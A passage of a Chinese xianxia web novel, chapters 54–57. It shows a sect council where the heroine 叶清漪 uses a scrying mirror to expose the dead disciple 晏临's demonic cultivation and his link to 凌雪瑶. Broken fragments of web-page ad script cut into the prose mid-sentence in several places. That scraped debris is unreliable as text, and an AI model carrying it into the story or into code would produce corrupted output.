“各位长老,掌门,可以开始了。”说话的是位于内门弟子首位的若阳,排在弟子第十一位,负责此次议事的记录,另有十二、十三弟子两位负责协助,这三位都是之前常跟在顾长风身边的人。 随着他话音刚落,一道术光从大殿中心飞出,直接打在殿门处,在结界之内又生成了一道仙障。 浑厚的钟声凭空响起,一股清正之气在殿内扩散开来,扫向殿内每一处角落,叶清漪也被其穿身而过,顿时腹中翻江倒海,魔气上涌。 这原本是为了让在场之人都能清晰听到长老们与掌门议事的内容,但其自带的灵气也格外纯净,往日她或许会觉得神清气爽,如今只有被魔气反噬的痛苦。 叶清漪半伏在地,额头渗出细汗,议事还没正式开始,她就已经撑不住了,取出凝神丹服了一颗,这才稍稍缓解。 现在她终于知道云宸替她备下这药的原因了。 “掌门,那便还是由我开始罢!”修言请示道。 沧云殿的正殿很大,但方才那术法一经施加,修言的声音便仿佛就像在她耳边一样,不止是他,殿上那几位开口都是如此,弟子们则不在其列。 “师弟请罢!”云宸颔首。 “我依旧是和之前一样的观点,晏临既是我门中弟子,如今意外惨死,总该要给出个合理的处置结果来。如果轻描淡写地处理,只怕日后门中弟子内心惶恐,无法安心修炼,若再有弟子效仿,一言不合便大打出手,岂不是后患无穷,人人自危?世家又如何能放心地将子弟送进门中修炼,云仞百年基业也终将毁于一旦。” 戒律也附和道:“是啊,如今招生本就艰难,此事若不能妥善处理,日后只怕没人敢进仙门修习了。” 叶清漪在下方听得瞠目结舌,心口差点又堵了:经过了这么些个时日,他们商议的内容已经上升到如此高度了吗?难怪久久不能决策!这是有人存心要借题发挥,排斥异己,连喜误杀晏临这件事,只不过是个由头罢了! 修言和戒律那帮人,向来对门中弟子漠不关心,对那些顽劣不堪的世家子弟更是嗤之以鼻,怎么可能忽然在乎起一个名不见经传的内门弟子来! 不过是各怀鬼胎罢了! 叶清漪也明白了,前世连喜只怕也是经历了类似的事情,就算没有叶清漪在内,也会有别的原因让他遭遇同样的事情,不仅因为他修为高强,是掌门的有力人选,更因为他是云宸的左膀右臂,除掉他,云宸不仅少了个得意弟子,对云宸自己也是个不小的打击,难怪后来云宸会那么对她,应该是不想让人觉得他太看重自己,可惜最后,叶清漪也没能逃过类似的命运。 至于连喜,经过了这样的事情,自然对仙门心灰意冷,后来与叶清漪在魔界相遇,得知叶清漪的遭遇后,则更是对仙门彻底失望,只是可惜,如今叶清漪还是没能阻止事情发生,就算这次叶清漪能阻止他离开,他也再回不去曾经那个张扬肆意的少年了! 54. 第 54 章 “师弟此言差矣!”执明嗤笑一声,语气戏谑地反驳了修言的说法,“若真如师弟所言,什么事情都能影响门派百年基业的话,那门派的基业也太不牢固了吧!” “你!”修言嗔怒,可执明名义上是他的师兄,虽然不管实务,但也不能明着冒犯他。 “况且,师弟所言也是你一人的猜测罢了,弟子们究竟如何想的,你又真的了解吗?指不定他们觉得晏临此类招进山中反而更让人惶恐呢?”执明毫不客气,直言不讳。 “你说谁呢?”晏临的堂弟跳了出来,指着执明痛骂,“你凭什么对我堂哥不敬!” “小子,虽然死者为大,可我到底还是晏临的师叔,说不上要对他恭敬吧!”执明没有云宸那么多顾虑,说话也更加直白,丝毫不给晏家留情面。 “你!”堂弟气得脸都红了,指着执明半天憋不出下一句。 “你个尚未加冠的小子,指着云仞山二长老的鼻子骂?你又有教养了?见你如此,可想而知晏家对子弟的教养有多么欠缺,不怪我门中弟子会一怒之下误杀了他,想是他咎由自取!” 执明此言不仅说的足够难听,还将晏临从弟子之列移了出去。 “你们云仞就是这个态度是吧!那不用再开什么破会了!直接禀报姑母,让她派宫使前来好了!”堂弟虽然年幼,但态度极为恶劣,晏临的叔父自始至终未曾开口,但也没有阻拦一二,可见堂弟的态度是得了其父的授意的,想来也是,有其父必有其子,其子如此,其父自然不会是什么好人,不过是借着幼子之口说一些自己不方便说的话罢了。 “晏籍,退下。”叔父终于出声阻拦,只是神情没有半分责怪。 晏籍该骂的都骂完了,如今再让他退下有何意义,不过是做做样子罢了。 叶清漪在下方看着,好像明白晏家为何要派一个十几岁的孩子来了,一屋子大人总不好跟个孩子计较,哪怕他说了再冒犯的话,都能用一句“稚子无状,还请尊长莫要见怪”来一笔带过! 让人受了极大的侮辱,却无法声张,真是无耻! 不过叶清漪也料到晏家的人不会那么好对付,毕竟晏临那个样子,此事又久决不下,晏家的态度也能有所预料——虽然还是比她想象中恶劣不少。 连喜一直站在一侧,低着头,背影看上去有些落寞,自始至终就没抬起过头,自然也没看到叶清漪。 看到连喜这般,叶清漪也颇为气闷,他们这些弟子,虽然并非都是诚心修仙,但多数人都心性单纯,没有多么功利的目的,也有弟子原本并不了解修仙,对其只有朦胧的向往,但在一日日的仙徒修习中也慢慢体会到了修仙的乐趣,也有了自己想修炼的方向,少部分是为了谋个资质,只等仙徒结束就回归俗家,但也没多少坏心思,连喜更是纯粹地安于仙门生活,也从未与人交恶,却莫名其妙沦为他们博弈的棋子,只怕他对云仞的认知已经完全颠覆了。 晏弘德不痛不痒地斥退了晏籍,才道:“稚子也是思兄心切,言辞难免有些过激,还望各位尊者宽恕一二,不过籍儿所言也不无道理,我们也讨论了这许多时日,也该有个定论了,我还要进宫向长公主复命,不宜再耽搁下去了。” “那晏公言下之意?”云宸此时终于开口,相比之下,他比执明要冷静许多,也更沉得住气。 晏弘德掀起眼皮睨了眼下首的连喜,对云宸道:“我知道这是掌门您的爱徒,但还是希望仙门可以秉公处理,毕竟杀人偿命,自古如此。我也想婉转处理,但长公主那边只怕不好交代,还有我兄长一家,兄长早些年也是为了除妖战死了,晏临是他唯一血脉,如今也没了,如果不能妥善处理,我该如何向长嫂交代,更是无颜面对晏氏全族啊!” 晏弘德言辞肯切,让人猝不忍听,说完还举袖拭泪,实在是感人至深。 “父亲,不用跟他们说这么多,他们仙门的人沆瀣一气,联合一起包庇凶手,欺负我们寻常人家。” “你们若是寻常门户,那冀州城再没有高门显贵了。”执明嗤之以鼻,丝毫不放过任何一点嘲讽对方的机会。 云宸开口控制住局面:“晏公的意思我们自然明白,可晏临之死,实在另有隐情。” 不等晏弘德反驳,云宸又面向另一边:“师弟,你的观尘镜现下何在?可曾修复?” 戒律侧身回禀:“镜子修是修好了,只是,还是不要贸然使用。” 戒律面露难色。 云宸大约明白其意,不再强求。 晏家的人也没有执意要启用观尘镜,只在旁听着,并不表态。 叶清漪缓了缓气息,坐直身子,疯狂向云宸示意,极力表明她想出列。 云宸也看到她了,但还是没有说起让叶清漪上前。 如此,上方又争执过一轮,说到底还是那几句,最后晏籍愤然表示,实在不行,就用那破镜子照一照,不就什么都清楚了! 此言一出,几位长老都不是很赞同,晏弘德也面露难色,但晏籍话已出口,又不好阻拦。 “不行!”连喜急忙阻止。 “为什么不行!”叶清漪实在忍不住了,站了出来,大声喊道。 可因为她站的太远,开口只有微弱的声音,气势瞬间弱了。 不过也足以让所有人都听见,叶清漪大步流星上前,所有人都看向她,连喜转头见她来了,神情复杂不已,眉头也拧得更深了。 叶清漪不管不顾走上前:“看观尘镜是最好的办法,什么都清楚了。” 叶清漪此言倒是和晏籍不谋而合。 “不行!” “不行!!!” 连喜和顾长风同时喊道。 “为什么不行!”叶清漪不明白。 连喜欲言又止,没有作答。 叶清漪见他这般,也看看一脸难色的顾长风,大概猜到一些。 “若是顾及我的颜面,大可不必,在你的清白和我的颜面之间,自然是清白更重要!”叶清漪倒是很洒脱。 “不可!若累及师妹声誉才能证明我的清白,那我宁愿不要!”连喜态度坚决。 “我不在乎!”叶清漪此言一出忍不住提了一口气,话说太快了,生怕连喜下一刻就喊个什么他在乎,那这件事的性质就变复杂了,是以叶清漪疯狂朝连喜使眼色。 不过连喜顾及人多,没有言辞过激,叶清漪这才松了口气。 晏弘德打量了一番叶清漪,对云宸道:“恕我眼拙,不知这是门中哪位仙姑?” “她就是前山一个仙徒,也不知怎么混入这沧云殿的。”戒律看她一眼,嫌弃得移开视线。 修言一言不发地看着她,一旁的顾长风也定定地看着她,神色有些许怅惘。 “是我带她来的。”云宸抬了抬手,“这件事原本也是因她而起,之前她被晏临重伤,一直在我流云殿疗伤,我想,左右各方争执不下,也该听听她的意见。” 听完这番话,晏弘德看叶清漪的眼神已经变了,晏籍更是怒指着叶清漪:“就是你害死我堂兄!你竟还躲了这么多日。” “听掌门此言,这位仙徒也对我侄儿之死有责,却被你们以伤重之名藏了这么多日,很难说仙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 门没有刻意包庇她啊!”晏弘德话里有话地说暗示。 “伤重之名!我去你大爷的伤重之名,合着快挂的不是你!”叶清漪忍无可忍,若按当年的性格,这话她只会在心里说,如今她一转念,就是骂了又能怎样,至少不能憋屈自己。 “你!”晏弘德很震惊,嘴唇嗫嚅了半天,一个字没骂出来。 边上的晏籍也傻了,这不在意料之内啊!他该怎么骂? “我病的快死了,你看不出来吗?年纪一大把,光长年纪不长脑子吗?也对,你肉眼凡胎,看不出来也正常!但是别在那里拿着无知当勇敢,我们掌门长老们不说你是因为他们宽宏大量,但我不是,我一个仙徒说了什么,你也当我年纪小没规矩不懂事吧!” 其他人都看傻了,叶清漪这样还真不像病得快死了,反倒是对面的晏家叔父快气死了。 晏籍看样子想骂,可一看叶清漪这样,还真有些不敢开口。 几个长老也看傻了,众弟子一言不发,都没见过这样的师妹,也不知内情,都谨慎地选择明哲保身。 和另外两位不同,执明目光赞许地看着叶清漪,甚是欣慰。 他悄悄凑到云宸边上,附耳道:“你这弟子还真没选错,日后她要是进了流云殿,可有人替你整治门风了。” 云宸没有过多表露,不过没有阻拦便已是一种态度了,但他眉宇间还是带着些许担忧,还是之前那句话,也不知过于锋芒毕露,是喜是忧。 叶清漪也知道这样莽撞了,等于将自己推到风口浪尖,但她不在乎,前世谨小慎微的日子过够了!最差不过一死,她死都死过,还有什么好忌讳的! “抱歉啊,这位弟子可能因为被魔气侵体,脾气暴躁了些,你们多多担待。”执明强忍着笑意煞有介事地跟晏家父子解释。 晏弘德脸色已经难看到了极点,只是被这女子扰得思路全无,一时乱了阵脚,便选择先不发难,静观其变。 可晏籍却不知这些,在最初的惊讶过后,他很快又缓过神来,想起晏弘德嘱咐的,让他只管胡搅蛮缠,其余交给晏弘德自己,便借着执明的话发挥:“你凭什么说体内的魔气是我堂兄所致!如今他人都不在了,自然由得你们随意安罪名了!” 叶清漪一个眼刀飞过去,晏籍下意识后退半步,往晏弘德身后走了些,面上还继续趾高气扬,挑衅地看着叶清漪。 “这好办,还需借用戒律长老的观尘镜一用。”叶清漪说得太过投入,忘了如今的处境,只朝着戒律一抬手,无形间露出了几分大师姐的魄力。 戒律被她的气势所慑,脑子还没想明白,手已经将镜子递出去了。 茫然坐回位置,看到修言眼中的震惊,这才反应过来——他听叶清漪的话干嘛?他怎么还把镜子递出去了???他刚是魔怔了吗? 叶清漪拿着观尘镜,左右摆弄了一会儿,镜中便开始浮现一些画面。 “师妹!”连喜还在一旁试图阻止,被叶清漪抬手打断了。 紧接着,观尘镜便浮现出当初思过堂内的场景,不过是从晏临最后要攻击连喜开始,画面在沧云殿上空变幻着,所有人都清晰地看见晏临是如何用魔气攻击连喜,又是如何被连喜一剑劈开,最后一部分魔气又是如何击中叶清漪的。 画面到此戛然而止,叶清漪覆下镜面,画面又尽数消失了。 修言脸色阴沉,盯着叶清漪这一系列操作,质问一旁的戒律:“这开镜的方法你什么时候教的她?” 戒律也摸不着头脑:“我没教她啊!我这也纳闷呢!她怎么会用这观尘镜的?” 55. 第 55 章 观尘镜的画面放大呈现在沧云殿中央,再现了当时的场景,在场之人都看得一清二楚。 “可以明显看到晏临最后用的术法带着黑色的气体,这是因为什么,应该很显而易见了吧!” 长老们面面相觑,弟子们更是不敢发出一点声音。 “谁知道你们动了什么手脚,怎么就能证明这个一定是真的呢?你们修仙的随便化个虚假记忆出来,还不是手到擒来的事情!”晏籍又开始撒泼。 叶清漪气得想将观尘镜砸过去,吓得戒律直接跳起来。 “可不敢砸,可不敢砸啊!”戒律看得心惊肉跳,忙将他的宝贝抢了回来。 叶清漪顾不上搭理戒律,转头向晏籍那边走了两步,一副要收拾他的样子。 晏籍吓得连连后退:“你作什么?说不过人就动手是吗?你们仙门就是这么欺负人的?” 叶清漪停下脚步,无语地叉着腰:“还没真的开始欺负你们呢!不然还能让你个毛头小子在这大放厥词?” “叶师妹。”连喜急切地喊了她一声,冲她暗暗摇头。 叶清漪也不想动手,换了个思路:“那我体内的魔气总归是真的吧!” “谁知道你那魔气怎么来的?反正我堂兄已经死了,你只管胡乱将一切按在他身上,不都随你了!” “你!”叶清漪被气得不轻,无声看了云宸一眼,终于知道云宸为什么说她来也没用了! 但是她不可能允许自己白来一趟! “既然如此,晏临尸首如今何在?如果我没记错,当时他死的时候状态明显有异,拿来一查就知晓他到底有没有暗地里修习魔修了。” “你这女子好歹毒的心肠,我堂兄都死了你还不放过他!” 叶清漪轻笑:“这么说,晏临的尸体还在?” 晏籍这才意识到自己失言了,看了眼晏弘德,又连忙改口:“我什么时候说过!我堂兄的尸体早就安葬了。” “那便挖出来好了。”叶清漪轻飘飘地说。 “你!”晏籍气得一时语塞。 “云宸掌门,你们仙门就是这么放任弟子欺辱外人的吗?”晏弘德恨恨瞪着叶清漪,眉毛胡子都快气飞了。 “清漪,不得造次。”云宸象征性地告诫叶清漪。 叶清漪丝毫没有觉得自己错了,反而借机向云宸请求:“掌门,非是我无礼,此事本就因我而起,还连累了他人,如果不能将真相公之于众,此心难安。” 叶清漪说着余光看见修言又打算开口,估计又要搬出他那套影响仙门名誉的说词,叶清漪连忙接着往下说,不给修言留一点机会。 “至于仙门根基云仞名誉这些自然重要,可仙门真正的根基不应该是每一位弟子吗?晏临是门中弟子,二师兄难道就不是了吗?何以要区别对待?” “此言差矣,对门内弟子我们自是一视同仁。”修言摆出一副冠冕堂皇的样子。 “不错,我相信掌门和长老们对所有弟子都是一视同仁的。” 叶清漪等的就是他这句话。 修言面露狐疑,不明白叶清漪这话是什么意思? “二师兄虽是掌门弟子,想来掌门也是要秉公处理的,各位长老亦是如此,就算换做是自己的亲传弟子,也是一样对待。” “那……那是自然。”戒律扯了扯衣襟,也摆出一副道貌岸然的样子。 “那便好。”叶清漪躬身向云宸禀告,“弟子有个不情之请,还望掌门允准。” 云宸:“你且说来。” “弟子想查看晏临师兄死之前几日的行踪,毕竟弟子与晏临师兄素未谋面,也无过节,那日只是初见,但晏临师兄对弟子的冒犯却不像临时起意,那思过堂又一向偏僻,少有人去,弟子也是阴错阳差误入其中,何以恰好就遇上晏临师兄?” “那你想如何?”云宸问道。 “弟子还想再借戒律长老的观尘镜一用,观尘镜可观世间万物,不仅能查明晏临师兄此前可有受人指使,还能找到晏临师兄的尸身如今在何处。弟子浅薄,没有掌门和长老们那么多考量,只知道弄清事情真相,给晏家也给我跟二师兄一个交代,只是我修为尚浅,只能看到自己经历过的事,不能查探他人之事,所以还要劳烦长老和掌门了。” “这……”戒律面露难色,怀抱观尘镜胆战心惊地看了眼一旁的修言,神情有些慌乱。 “凭什么你说查就查?”晏籍又跳出来。 “因为是我的事啊!”叶清漪一脸理所当然,也不动怒,反而慢条斯理地同他分析,“自然,说起来和你也有点关系,如果有人指使你堂兄害我,我自然需要知道背后是何人,这般弟子留在云仞也是个隐患,我也是为仙门声誉和所有门中弟子的安危着想,此人间接害死了你堂兄,难道你就不想知道是谁吗?” 晏籍支支吾吾。 “莫非你并不想知道你堂兄是被谁所害?” “那不就是他!”晏籍指向连喜。 “看起来是如此,可若没有人指使晏临师兄,将我堵在思过堂,连喜也不会来救我,二人更不会发生争执,晏临师兄也不会枉死。”叶清漪一番分析有理有据,晏籍似乎也被说动了,有了片刻的迟疑。 晏弘德见状,神色有些复杂地看了眼晏籍,皱起眉头。 叶清漪看着这俩父子的反应,以为很是有趣,乘胜又道:“我们的目的都是一致的,都要弄清楚晏临师兄的死因,我们要洗清嫌疑,你们二位也需要有个交代。” 晏弘德还是很犹豫,晏籍却劝起他来:“父亲,若真如她所言,堂兄受人指使,那合该找出此人啊!” “此女弟子诡计多端,巧舌如簧,她的话不可轻信。” “可是万一呢!他们有法宝,正好可以看看当初发生了什么!” “你年纪尚小,不知原委,事情不是你想象的这么简单的!若是你堂兄没有被人蛊惑,如此一来,岂不让人留下他不清白的印象!” “父亲!”晏籍语带哀求。 叶清漪反问:“你这么不想查看事情真相,难道就不想知道你侄儿的遭遇吗?” 晏弘德没有作答。 “难道您从没想过查清堂兄的死吗?”晏籍情绪激动。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “你莫要听其蛊惑。” 眼见父子二人意见不合,叶清漪也不插嘴,只再次同云宸请命:“还请师尊允准,借观尘镜一用。” “你!我俩还没同意呢!”晏弘德急了。 叶清漪懒得搭理他。 “我们同意查了!”晏籍下一刻又喊道,又将晏弘德拉住,“查,尽管查!我堂兄绝不能死的这么不明不白!” “既然晏家已经同意,那不如……”云宸抬手示意一旁。 修言不动声色丢了个眼神过去,戒律立马抱着镜子起身:“掌门师兄有所不知,这镜子之前出了故障,才拿回来,还没完全修好,不像之前那般好用了,一日只能用一次,所以今日恐怕看不了了,莫不如等到明日?” “又等又等!这都等了多少天了?你们的膳堂我都吃腻了,跟我们王府的根本没法比!再待下去我都要受不了了!”晏籍不管不顾的一摆手,“我不管,今天必须有个结果!” “我们也理解你们的心情,但是这个镜子今天真的没有办法再用了,不是我们不配合。”戒律为难不已,只顾着和晏家的人解释,没注意到一旁的执明忽然起身,凑上前来,打量他手里的镜子,伸出手轻点着,口中还喃喃自语。 “这镜子咋了?神器这么不经用吗?” 等戒律发现时已经来不及了,执明不知道碰到了什么,一个影像顿时弹了出来,仔细一看,正是晏临在后山晨练的场景。 执明一脸无辜:“这什么情况啊?我没破坏什么吧?我就想看看来着,真不是故意的。” 话虽如此,神情看起来却没什么歉意。 戒律气不打一处来,又没有办法发作,边上的修言拳头都快捏碎了,不争气地看了戒律一眼。 “这神器性子难以捉摸,可能这会儿忽然好了吧!”戒律尴尬一笑,如今他也没办法了,如今画面已经显现,他也不好当着所有人的面将它关掉,只能任由上面的场景变换。 众人便看到晏临照常起居上课修炼,每日很是规律,几乎没有什么异常。 就在戒律说没有什么可看,准备把镜子关掉的时候,画面上忽然一转,晏临改变了素日的轨迹,破天荒去了前山。 晏临在前山走着,东拐西拐,绕到了一处,似乎在跟一个什么人说话。镜子上面的画面拉近了些,发现那个人竟然是个女弟子,而这个女弟子不是别人,正是修颜的女儿——仙徒凌雪瑶。 众人大惊。 修言更是脸都绿了。戒律也是一脸不知所措。晏弘德父子则一顺不顺的盯着镜上的画面,却听不到他们,在说什么,很是着急。 “你这个镜子,听不到声音的吗?”晏弘德指着观尘镜不解地问戒律。 修言似乎松了一口气。 戒律连忙解释:“观尘镜可观万物,但不能听见所有声音,他们说话的声音又小,就更难听清了。” 就在他们还搞不清楚原委的时候,画面上凌雪瑶递给晏临一个纸条。 叶清漪觉得如果能看到这个纸条的内容,就能知道凌雪瑶到底跟晏临交代了什么? 56. 第 56 章 底下人全部傻了。 “是凌师妹……” “怎么会是她?” “是啊是啊……” “这是怎么回事啊?” 议论声很小,但还是刺耳地传进修言耳中。 “这个女的是谁?她给了我哥什么东西?”晏籍愤怒地一指。 “这样也不能代表什么。不能单从这一点证明,此事与凌师妹有关。”顾长风突然开口。 叶清漪错愕的看了他一眼,很快回道:“我想不如叫凌雪瑶前来一问,一切就都清楚了。” “你现在为了撇清自己的关系,是要把所有人都拉下水吗?”不辞也忍不住跳了出来。 叶清漪看的好笑:“方才你二师兄遇到麻烦,你一句话都不说,现在怎么看到出事的是小师妹,一个个的都跳出来了吗?” 不辞面色悻悻,眼神有些闪躲了。 叶清漪又看向顾长风,对方也回避着他的眼神,不再多言。 “我觉得叫来一问也没什么吧,清者自清,如果师妹真的是无辜的,这样也能为她洗清嫌疑,解开我心中的疑惑,不是吗,修言长老你觉得呢?”叶清漪步步紧逼。 修言黑着一张脸不说话,一旁的戒律小心地觑着他的眼神,脸色惨白。 叶清漪:“难道长老就放任师妹被人猜忌?” 晏籍:“对啊,把人叫来问一下不就行了,也不知道磨蹭什么?” 不辞又指着叶清漪:“你就非要抓住小师妹不放,你就这么针对她?” “怎么是我针对他呢?那镜子上不都显现了吗?”叶清漪只觉得可笑,前世他们也是这样,明明是别人做错了,最后反而显得是她无理取闹一样,前世叶清漪也很是不解,如今她已经无所谓了。 那个时候她生怕别人生怕别人误解她,总是向别人解释,可越是这样越没有人相信,他们只愿相信自己愿意相信的。她已经不在乎这些人是怎么想的了,她只在乎自己的利益和她想要做的事情。 “反正今日最好的解决办法就是叫她过来看一下。毕竟晏临已经不在了,但是凌雪瑶还在啊,莫不是修言长老不敢叫她来问吧?” “你不要血口喷人。”不辞骂骂咧咧。 看着顾长风纠结的模样,叶清漪只觉得可笑,她本以为顾长风会无条件站在她这边,看来还是她太天真了。 她和顾长风默然相望,眼神逐渐变得失望,顾长风也慢慢地移开了视线。 叶清漪平复了一下心情,脑海中掠过一朵莹白色的栀子花,最终神色归于平静。 既然如此,那就更没有什么好顾忌的了。 “凌师妹应该也不想自己这么被人误解吧,修言长老你说呢?如果你真的为了凌师妹好,还是尽快请她上殿来吧!” 修言的神情明显有所犹豫了,似乎被叶清漪说动了。 这时一旁的执明又在那里探头探脑的,好奇打量着戒律手中的观尘镜,忍不住伸出一只手戳了戳,此时观尘镜上的画面还在继续,经过执明这么一戳,画面赫然跳转到了晏临如今的处境——他正躺在一张放着寒气的玉床上,双目紧闭双唇泛紫,眼下乌青,死状可怖。 “这……这是晏临,他怎么这个样子?” “看他这个模样不像正常被杀害了,倒像是中毒身亡。” “我曾见过有弟子修习这些歪门邪道,被反噬而亡,死的时候也是这般模样。” “莫非晏临师兄他当真修了魔修?” 弟子们震惊地议论纷纷。 戒律还不明所以,直到修言提醒这才回过头来,看到观尘镜上的画面,瞪大了眼,连忙抱起镜子,再一看一旁还没有来得及收回手的执明,胡子气得都快飞起来了。 执明一脸无辜:“我就是好奇,没见过,你这个难得用一次,我就想看看你能不能测出我的一点什么事情,结果这……这这这,我也不知道怎么回事啊!” 云宸连忙一拂袖,暗示他坐回去。 执明这才坐回原位,嘴角的笑意都快压不住了。 戒律气得没办法,又不好发作,只能抱着镜子站了起来,走到了离执明五步开外的地方。还是不放心,又将镜子塞到了不辞手里,这时观尘镜上的画面这才消失。 然而为时已晚,所有人都已经看见了,包括晏家父子。 戒律默默地举袖擦汗,对大家解释说:“这观尘镜刚修完,还不是特别好用,可能出了什么偏差也未可知。” 但这番说辞毫无说服力。 “我还是第一次听说,法器也有问题的。”一旁的若阳忍不住来了句。 被刚好在边上的戒律看了一眼,才悻悻的闭嘴了。 “晏临贤侄的尸首确实是被安放在别苑的寒冰玉床之上,这灵镜所显当是无误。只是死者已矣,就不要再惊动了吧!” “那是自然,那是自然。”一旁几位长老都纷纷附和。 叶清漪不愿再跟他们争论,而是坚定地看向云宸,再次重复请求:“如此,更能说明凌师妹和晏临师兄见面之事确实属实,希望掌门可以传唤凌师妹前来对峙。” “我看,便叫相关人等前来吧!”云宸用商量的口吻跟修言说。 修言还是不表态。 叶清漪忍无可忍:“真是分不清你俩到底谁是掌门?” 修言:“???” 云宸:“???” 顾长风、不辞这些站在边上的几位纷纷抬头看他。 戒律:“大胆,竟敢以下犯上!” 连喜连忙上来拉叶清漪:“师妹,慎言!” 又对云宸和修言解释:“叶师妹也是心急,才一时口无遮拦,还望师尊和修言长老见谅。” 叶清漪无奈地被拉到一旁,她能做的已经做了,如今她还不是什么大师姐,不管说什么做什么,都是处处力不从心。 只能将希望寄托在云宸身上。 前世云宸也是如此,说好听点叫人淡如菊,不争不抢,说难听点就是优柔寡断,过于宽厚,也不知道云宸能不能感受到她的执着。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 倒是修言松口了:“既然掌门师兄发话,那便让瑶儿前来一见吧!” 没多久凌雪瑶来了,她乍然被叫来,又一下子面对这么多人,也没了往日的嚣张气焰,显得有些局促。 在殿前行了礼后,她一眼就看到了站在连喜身旁的叶清漪,见叶清漪望着她,眼神带了点惊恐,瑟缩了一下,立即避开了视线。 修言:“瑶儿,叫你过来只是例行问话,如实回答即可,不必紧张。” 凌雪瑶懵懂地点点头,神情茫然。 “执明,你来问吧!”云宸示意执明来问。 执明应下,开始进行询问:“凌师侄,你此前可有私下见过什么人?可有什么隐瞒门内的事情?” 凌雪瑶支支吾吾,向修言投去求助的目光。 当着这么多人面,修言也不能说什么,只暗暗给了她一个眼神。 这一切都被叶清漪看在眼里,但叶清漪不清楚修言这个眼神到底是什么意思? 她不动声色地观察着一切,已经做好了应对各种可能的准备。 “弟子愚钝,不知长老言下之意指的是什么?”凌雪瑶并没有一上来就承认。 “比如月余之前,你可有在前山见过其他人?”执明试探性地引导了一下。 “月余之前……”凌雪瑶的脸上闪过一丝慌乱,但还是坚持,“弟子一直在前山潜心修行,素日也是同师姐妹一起,同进同出,不曾见过其他什么人,执明长老为何如此问?” “那上个月第十四个修仙日剑修课大课间,你人在何处?”执明追问道。 “我素日大课间都是与唐师姐一同在问道堂走廊闲聊,或是去膳堂买些吃食,那日不出意外,应该也是如此。”凌雪瑶最后还急急加了句,“唐师姐可为我作证。” “那便将其传唤过来罢!”执明提议。 又等了一会儿,唐旖柔也来了。 “见过掌门,四位长老,各位师兄!”唐旖柔礼数周全,一一问候了众人,“不知召弟子前来所为何事?” 执明刚准备问,又看了眼凌雪瑶:“凌师侄,你先退至一旁。” 执明略一思忖:“你凌师妹之前在前山丢了一块玉佩,一时想不起来在哪儿丢的,想问下大约上月中旬左右,你可与凌师侄一起,可记得都去过何处?” 唐旖柔眼神略有闪躲,迅速瞥了凌雪瑶一眼,回道:“那日……若是没记错的话,弟子一直与凌师妹在问道堂,不曾听说师妹有什么东西落下啊!” 叶清漪冷哼一声,已经猜到大概了。 之前凌雪瑶回答的时候,叶清漪就听出有问题了,虽然已经巧妙地进行了掩饰,但她前几天的事情都不记得,怎么可能对一个月前的事情记得这么清楚,明显是提前对好了说辞,如今就看长老们信不信了。 但经过这一番争论下来,她也看明白了,这些人都是揣着明白装糊涂,如今对付不了凌雪瑶,更大一部分原因,还是因为修言在后面庇护,就算凌雪瑶犯了天大的错,她也不会得到多么严重的处罚。 57. 第 57 章 “启禀长老,弟子有一事不明,不知当不当讲。”叶清漪得体开口。 “有话但说无妨。”这回云宸直接准许了。 “也没什么,只是觉得二位师姐果真好记性,也兴许是弟子比较愚钝的缘故吧!有时候连上堂课讲的心法知识都记不清,二位师姐竟然连一个多月前某日某个课间的事情,都记得这么清楚,实属难得,难怪唐师姐课业如此精进,我等平庸之辈真是自愧不如!” 此言一出,唐旖柔和凌雪瑶的表情明显都有些慌乱。 二人交换了个眼神,凌雪瑶连忙道:“我和唐师姐方才都没有交谈,被叫来这里也很突然,哪有时间提前串通说辞,你休要血口喷人!” “我几时说你们串通说辞了?”叶清漪嘴角带着得逞的笑意。 “我……我不是这个意思……”凌雪瑶求助般地看向唐旖柔。 “叶师妹所言不差,只是那日我同凌师妹因为一些矛盾发生了争吵,吵的还挺激烈,我二人又是素来不曾红过脸,故而印象比较深刻,而且那日也有很多师兄弟在场,都可以此事作证。”相比之下唐旖柔要沉着不少。 “哦?是吗?”执明一听,又看了看下方,故作惋惜道,“可惜殿内只有内门弟子,可否需要召几名仙徒过来?” 执明请示一旁的云宸。 可不等云宸开口,修言就阻拦道:“已经耽搁这许久了,若是再找仙徒过来,未免太麻烦了。” 执明看了执明一眼,又意味深长地看向云宸。 云宸点点头,表示也是这个意思。 执明了然,坐了回去:“那不如还是用观尘镜照一下吧!” 说着看向戒律。 戒律一见,连忙将手抄过一旁,将不辞和他怀里的镜子都往后推了推。 “你……你先别急!”戒律苦着一张脸,“你一个当长老的,当着面质疑两位小辈,这样好吗?” 执明不为所动,将手递过去:“如今这是最公平的法子,还是劳烦师弟,再开一次法器。” 戒律为难不已,看了看执明,又看了看修言,看那表情,他似乎很后悔今天出现在这里。 凌雪瑶更是慌乱不已,频频看向修言,心虚之情溢于言表。 “我认为还是不要再执着于此了,观尘镜也不是用来检验门中弟子的,若今日真用了,之后传出去,说长老无时无刻不在窥探弟子,教我们几位长老如何自处?弟子们也会人人自危的。”修言一番话说的十分顾全大局。 “那依师弟所言该当如何?”执明问道。 叶清漪也不阻拦,但始终在观察修言,他看起来似乎在慎重思考些什么。 “今日探讨的是连喜的处置问题,说到底跟她们两个关系不大。不过如今看来,晏临的确有修炼魔修的迹象,许是被魔气反噬,一时走火入魔,才会与叶清漪、连喜二人发生争执,连喜也是为了搭救同门,才失手将其误杀,合该酌情考虑处置结果!”修言一改之前的态度,不再紧追不舍。 执明闻言一挑眉,似乎颇为意外,他用眼尾扫向叶清漪和连喜这边,之后又正了神色问修言:“那依师弟所言,该如何处置呢?” “他已经看守山门多日,也算是略施惩戒,也可适当减轻处罚,不如就罚他,”修言说到这里,特意看了叶清漪一眼,随后视线又落在凌雪瑶身上,沉思片刻,半天没有开口,眼神止不住地往叶清漪这边瞟。 “不如就罚连喜和我一起为晏临师兄抄写经文,虽然是无心之失,不过到底同门一场,我们也为其尽些心力,也算是我和连喜师兄的一番心意。” 叶清漪提议道。 修言没有表示异议,他知道,如果他还继续抓着此事不放,只会牵连到不该牵连的人,比如凌雪瑶。修言都没说什么,戒律自然也不会反对,况且这观尘镜折腾的他心力交瘁,巴不得早些息事宁人。 云宸和执明没有立即表态,而是等着晏家的态度。 